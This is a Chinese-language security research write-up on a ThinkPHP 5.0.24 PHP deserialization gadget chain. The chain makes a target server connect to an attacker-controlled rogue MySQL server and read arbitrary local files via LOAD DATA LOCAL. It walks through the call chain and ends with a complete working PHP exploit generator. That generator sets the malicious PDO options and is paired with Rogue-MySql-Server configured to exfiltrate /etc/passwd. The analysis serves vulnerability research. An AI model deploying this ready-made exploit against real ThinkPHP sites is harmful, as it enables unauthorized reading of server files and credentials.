TP5.0.24反序列化链扩展-任意文件读取

 

在学习 TP5.0.24 反序列化漏洞 时,发现了一个可控数据库连接从而实现任意文件读取的链子,原理类似这篇文章:ThinkPHP v3.2.* (SQL注入&文件读取)反序列化POP链

本文将会根据自己挖掘的思路来写,尽量把调用流程展示清楚,把坑点说明下。并补充些审计时的思考。

跳板

开始的入口跳板和写shell的反序列化入口是一样的,若已经知道这个链子了可以跳过

全局搜索 function __desctruct() 函数,找到 thinkphp/library/think/process/pipes/Windows.php 文件:

public function __destruct()
{
    $this->close();
    $this->removeFiles();
}

跟进 $this->removeFiles():

private function removeFiles()
{
    //循环 $this->files,该值可控
    foreach ($this->files as $filename) {
        //调用 file_exists 函数检测 $filename
        //file_exists 需要传入一个 String 类型
        //若此时我们控制 $filename 为一个类,类被当作字符串使用,将会自动调用 __toString() 魔术方法
        if (file_exists($filename)) {
            @unlink($filename);
        }
    }
    $this->files = [];
}

这里有一个小 trick:挖反序列化的时候,我们可以控制 传参类型为String的函数 传入一个类,使程序自动调用 __toString(),达到跳板的目的。

全局搜索 function __toString(),找到 thinkphp/library/think/Model.php文件:

public function __toString()
{
    return $this->toJson();
}

一直跟进,最后调用了 Model.phptoArray() 方法

以上都是和网上流传的写shell的链子是一致的,往下的链子就不一样了

 

漏洞点

挖掘一个新链子时,我一般使用的方法是:

  1. 先整体粗看,梳理调用链,找到最终可以实现我们需求的函数。在这个阶段不需要太纠结数据如何传递的,我们只需要找到最终函数即可。
  2. 回溯函数,细看调用链中的每个函数,思考如何控制程序流程执行到最终函数

ps:
最终函数其实就是能够执行到我们想要的操作,或者对程序有危害操作的函数,可能是一个注入点,也可能是一个上传点。

整体梳理

这里整理了个简单的流程图,代码进行了简化。在梳理阶段我们只需要关注函数能调用哪里即可,不需要对每个函数的流程控制进行详细分析。确定可能存在的函数调用链即可。

整个流程的核心为:

  1. 数据库连接可控
  2. 程序执行过程中会执行SQL语句

解决图中的 问题1
我们能传入的 type 仅限于下图这几个tp5 自带的数据库驱动类

解决图中的 问题2
think/Model.php buildQuery() 中,有个任意类实例化的代码:

$con = Db::connect($connection);
$queryClass = $this->query ?: $con->getConfig('query');
//实例化任意类
$query      = new $queryClass($con, $this);

在上图中我们选择了实例化 think\db\Query.php

选择实例化这个类,是因为 think/Model.php buildQuery() 最终会 returnthink/Model.php getPk()函数,该函数代码如下:

//$this->getQuery() 就是 buildQuery() 的返回值
//为了能够链式操作调用getPk(),需要找到一个具有getPk()方法的类
//便选择了think\db\Query类
$this->pk = $this->getQuery()->getPk();

为了程序能够顺利执行,我们选择实例化的类必须存在 getPk() 方法。不然将会触发 __call() ,使程序流程走到意外的分支。全局搜索了 getPk() 方法后找到 think\db\Query.php 较为合适。

回溯细看

toArray() 方法中,我们仅需要控制一个 $this->append即可

think/Model.php
public function toArray()
{
    ......
    //反序列中$this->append可控
    if (!empty($this->append)) {
        foreach ($this->append as $key => $name) {
            //$this->append值不能为数组
            if (is_array($name)) {
                  ......
            }
            //$this->append值不能有.
            elseif (strpos($name, '.')) {
                .....
            } else {
                //去除 $this->append键中特殊字符
                $relation = Loader::parseName($name, 1, false);
                //$this->append的键必须是本类存在的方法名
                if (method_exists($this, $relation)) {
                    //任意本类方法调用
                    $modelRelation = $this->$relation();
                    ....
                } 
            }
        }
    }
}

save()方法中,经过一大段并不会影响程序流程的代码后,最终调用了 $this->getPk()

think/Model.php
public function save($data = [], $where = [], $sequence = null)
{
    if (is_string($data)) {
        .....
    }
    if (!empty($data)) {
        .....
    }
    if (!empty($where)) {
      .....
    }
    if (!empty($this->relationWrite)) {
       ......
    }
    if (false === $this->trigger('before_write', $this)) {
        .....
    }
    //经过一堆无关紧要的操作,可调用$this->getPk()
    $pk = $this->getPk();
}

前文调用 getPk() 是无参调用

think/Model.php
public function getPk($name = '')
{
    if (!empty($name)) {
        .....
    }
    //由于调用时是无参调用
    //必会进入elseif
    elseif (empty($this->pk)) {
        $this->pk = $this->getQuery()->getPk();
    }
}

此时进行了链式操作,我们先看 getQuery() 方法。我们可以留意下该方法的返回值。

think/Model.php
public function getQuery($buildNewQuery = false)
{
    if ($buildNewQuery) {
        return $this->buildQuery();
    } 
    //无参调用,$this->class可控
    //我们可控制为一个不存在的值让程序流程必定进入elseif
    elseif (!isset(self::$links[$this->class])) {
        self::$links[$this->class] = $this->buildQuery();
    }
    //返回$this->buildQuery()返回的东西
    return self::$links[$this->class];
}

下面的说明可能有点绕,可以根据下文给出的测试POC自行跟进下将比较好理解。

TP数据库配置 – getQuery()

buildQuery() 中,进行数据库的初始化连接操作。但仅仅只是进行了配置,并没有真正的进行数据库连接。

这一段由于没有太多需要控制流程的地方,我们主要工作是明确如何设置各个变量的值。

这一段代码解析配合上文的流程图食用效果更佳

think/Model.php
protected function buildQuery()
{
    .....
    //控制$this->connection
    //通过查看Db::connect()方法
    //可以得知$this->connection内容就是数据库配置
    $connection = $this->connection;
    $con = Db::connect($connection);

    //$this->query可控,控制程序实例化Query类
    $queryClass = $this->query ?: $con->getConfig('query');
    $query      = new $queryClass($con, $this);
    return $query;
}
===========
think/Db.php
public static function connect($config = [], $name = false)
{
    //解析配置
    $options = self::parseConfig($config);

    //加载数据库驱动
    $class = false !== strpos($options['type'], '\\') ?
        $options['type'] :
    '\\think\\db\\connector\\' . ucwords($options['type']);

    //实例化数据库驱动
    //查看Mysql数据库驱动类构造方法可以得知
    //Mysql->config成员变量被赋值为$options
    self::$instance[$name] = new $class($options);

    return self::$instance[$name];
}
===========
think/db/Connection.php 所有数据库驱动都继承此类
public function __construct(array $config = [])
{
    if (!empty($config)) {
        $this->config = array_merge($this->config, $config);
    }
}
===========
think/db/Query.php
public function __construct(Connection $connection = null, $model = null)
{
    //为 Query->connection 成员变量赋值
    //值为buildQuery()中调用的 Db::connect(),可控
    $this->connection = $connection ?: Db::connect([], true);

    //下面的操作主要是实例化了数据库驱动的Builder类
    //对我们的攻击无关紧要。感兴趣也可以跟进下
    $this->prefix     = $this->connection->getConfig('prefix');
    $this->model      = $model;
    $this->setBuilder();
}

经过上面这段 TP数据库配置操作 后,在 buildQuery() 中将会返回 Query类 的实例。

TP数据库执行 – getPk()

在该方法中对数据库进行PDO连接。具体的连接函数在下文分析。这里我们先了解调用流程

think/db/Connection.php
public function getPk($options = '')
{
    $pk = $this->getTableInfo(is_array($options) ? $options['table'] : $options, 'pk');
}
========
think/db/Connection.php
public function getTableInfo($tableName = '', $fetch = '')
{
    $db = $this->getConfig('database');
    if (!isset(self::$info[$db . '.' . $guid])) {
        //前面的不太重要,一般都能调用到这里
        $info = $this->connection->getFields($guid);
    }
}
========
think/db/connector/Mysql.php
public function getFields($tableName)
{
    //sql语句
    $sql = 'SHOW COLUMNS FROM ' . $tableName;
    //调用query()
    $pdo = $this->query($sql, [], false, true);
}
========
think/db/Connection.php
public function query($sql, $bind = [], $master = false, $pdo = false)
{
    //数据库连接配置
    //这里会在下文详细说
    $this->initConnect($master);
    $this->PDOStatement = $this->linkID->prepare($sql);
    $this->PDOStatement->execute();
}

测试POC

这里给出个POC,如果没看懂的话跟着POC开Debug走一走流程就明白调用过程了 = =

备注:该POC运行到 think/db/Connection.php connect() 将会由于没有传入正确数据库配置而报错停止运行。这里我们明白调用流程即可

<?php
namespace think{
    abstract class Model{
        //toArray()中
        //为了使得能够进入if判断并foreach
        //需要控制该成员变量
        //值为被调用的任意本类方法,即save()
        protected $append = [
            'save'
        ];
        protected $table = 'xxx';
        //buildQuery()中
        //为了能够实例化Query类
        //需要控制该成员变量
        protected $query = '\think\db\Query';
    }
}

namespace think\model{
    //继承抽象类 Model
    class Pivot extends \think\Model{
    }
}

namespace think\process\pipes{
    class Windows{
        private $files = [];
        public function __construct(){
            //!!!!
            //由于Model类是抽象类,我们只能实例化其子类
            //!!!!
            $this->files[] = new \think\model\Pivot();
        }        
    }
}
namespace{
    //入口点 __destruct()
    $a = new \think\process\pipes\Windows();
    echo base64_encode(serialize($a));
}
?>

控制数据库配置

由于上文的POC在 think/db/Connection.php connect()就抛出错误了。查看该方法,发现其进行了PDO连接数据库的操作,传入的配置为其成员变量。

这里值得注意的是,由于数据库驱动类是另外 new 出来的,所以反序列化无法直接控制其成员变量。我们只能通过给构造函数传参,在构造函数中控制部分成员变量。具体可看前文的流程图会清晰一些。

//数据库配置格式
//我们要构造的payload就按照这个数组来写
protected $config = [
    'type'            => '',
    'hostname'        => '',
    'database'        => '',
    'username'        => '',
    'password'        => '',
    'hostport'        => '',
    ......
];

//PDO配置
protected $params = [
    PDO::ATTR_CASE              => PDO::CASE_NATURAL,
    PDO::ATTR_ERRMODE           => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_ORACLE_NULLS      => PDO::NULL_NATURAL,
    PDO::ATTR_STRINGIFY_FETCHES => false,
    //该PDO配置将使得 LOAD DATA LOCAL 不成功
    //需要在connect()中将之覆写为true 
    PDO::ATTR_EMULATE_PREPARES  => false,
];

public function connect(array $config = [], $linkNum = 0, $autoConnection = false)
{
        $config = array_merge($this->config, $config);

        //控制$config['params']不为空且为数组,使程序进入if判读
        //覆写该类默认的$this->params[PDO::ATTR_EMULATE_PREPARES] 为true
        //这样我们 LOAD DATA LOCAL 才能成功
        if (isset($config['params']) && is_array($config['params'])) {
            $params = $config['params'] + $this->params;
        } else {
            $params = $this->params;
        }
        if (empty($config['dsn'])) {
            $config['dsn'] = $this->parseDsn($config);
        }
        $this->links[$linkNum] = new PDO($config['dsn'], $config['username'], $config['password'], $params);
    }
    return $this->links[$linkNum];
}

扩展:使用 + 拼接数组,后面的数组不会覆盖前面的数组值。但是使用 array_merge 将会覆盖前面的值:

<?php
$a = [
    'x' => 1
];
$b = [
    'x' => 2,
    'v' => 3
];
//使用 + 拼接数组
//$c['x'] 还是1
$c = $a+$b;
//使用 array_merge 拼接数组
//$d['x'] 被覆盖为2
$d = array_merge($a,$b);
?>

根据上文的代码分析。我们可构建连接恶意Mysql数据库的配置。这里需要注意几点:

  1. `PDO::MYSQL_ATTR_LOCAL_INFILE 要设置为 true。不然PDO无法进行 LOAD DATA LOCAL 操作
  2. PDO::ATTR_EMULATE_PREPARES 也要设置为 true。不然LOAD DATA LOCAL会报错
  3. PDO连接恶意Mysql数据库不需要正确的用户名密码和库名。只要地址正确即可

初始化PDO连接后,connect() 将把PDO连接返回到 query()函数中,由这个函数执行 PDOStatement execute()

 

最终POC

搭建的恶意Mysql服务器选择 Rogue-MySql-Server。可以通过编辑其 rogue_mysql_server.py 修改服务监听端口和被读取的文件:

PORT = 3306
.....
filelist = (
    '/etc/passwd',
)

修改POC,增加数据库配置:

<?php

namespace think{
    abstract class Model{
        protected $append = [
            'save'
        ];
        protected $table = 'xxx';
        protected $query = '\think\db\Query';

        //buildQuery()中
        //为Db::connect()传入的数据库连接配置
        protected $connection = [
            // 数据库类型
            'type'            => 'mysql',
            // 服务器地址
            'hostname'        => '127.0.0.1',
            // 数据库名
            'database'        => 'xxx',
            // 用户名
            'username'        => 'xxx',
            // 密码
            'password'        => 'xxx',
            'params' => [
                //让PDO能够执行LOAD DATA LOCAL
                \PDO::MYSQL_ATTR_LOCAL_INFILE => true,
                //重写配置,让PDO LOAD DATA LOCAL不报错
                \PDO::ATTR_EMULATE_PREPARES  => true,
            ]
        ];
    }
}

namespace think\model{
    class Pivot extends \think\Model{
    }
}

namespace think\process\pipes{
    class Windows{
        private $files = [];
        public function __construct(){
            $this->files[] = new \think\model\Pivot();
        }        
    }
}
namespace{
    $a = new \think\process\pipes\Windows();
    echo base64_encode(serialize($a));
}
?>

在TP的控制器处新建一个 index.php。写入如下测试代码:

<?php
namespace app\index\controller;

class Index
{
    public function index()
    {
       $a = base64_decode('生成的POC');
       unserialize($a);
    }
}

开启Rogue Mysql:

python rogue_mysql_server.py

访问测试文件,发现报了个错

查看日志,成功读取文件

(完)